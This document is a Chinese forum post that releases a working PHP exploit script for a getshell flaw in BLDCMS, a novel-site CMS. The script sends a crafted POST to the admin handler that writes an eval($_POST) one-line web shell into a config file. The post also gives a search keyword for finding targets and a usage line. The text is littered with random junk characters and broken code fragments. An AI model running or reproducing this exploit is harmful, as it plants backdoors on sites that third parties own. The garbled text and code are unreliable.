BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
4 e# O4 [* M, K" I# q5 W; d

( j1 H. B. L$ L/ v话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
7 j/ c3 D4 ]5 W; x' R& ?) M
既然都有人发了 我就把我之前写好的EXP放出来吧

3 o; x9 \0 n& W9 Lview source print?01.php;">
5 J# p* F$ w! }5 [3 E$ a02.<!--?php
$ i  I& p& x# X) i3 K03.echo "-------------------------------------------------------------------
04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
# @2 R. J1 f# o# \+ u2 |08.
# l9 N$ z: f. z; ]+ h1 [3 j  W; N09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
( N9 l- N; K. l/ \8 U11.
/ f  d- L- @/ p$ `3 b12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
( O8 k8 _8 Q# X4 [, b+ p5 R13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
18.$dir=$argv[2];
19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
23.else
; v8 @6 I( t* h+ M3 n24.{
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
% p# d; m+ f# S27.al;
28.$length = strlen($fuckdata);
# z* }+ s9 E4 u* J4 Q$ U, }2 R( |; b29.function getshell($url,$pass)
# k2 H! v1 Z, ?) i# g30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
1 K9 Z& k+ ^: n1 E1 o8 _( {32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
8 w7 g0 X& H. g$ b  w, M6 t9 Q/ \33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
* @4 A' G# I5 S  E; M) ?5 g: }1 U35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
4 x% _* ^: y4 T+ P44.}
45.else{ if (!fputs($fp,$header))
! L! V: d, b- {$ @46.{exit ("利用失败");}
9 N' ]2 C3 i0 t. ~8 f47.else
5 \! m( L8 P  S48.{
6 @. b9 n! b. R0 n5 N: J49.$receive = '';
50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
5 o: _' O5 i; k2 d) x55.
56.GPC是否=off)";
# L  S) Q. K3 I9 d/ Y57.}}
* C  F, W0 p% t2 T$ L4 T! k58.}
59.}
; w% L1 k4 B5 x% N! Z4 c- }60.getshell($url,$pass);
61.?-->
. E( t, w1 a. L& b

% }& o6 O9 z2 m' A2 V& v
by 数据流
3 p" i$ Q( {5 h: o2 }3 l0 s5 ?1 a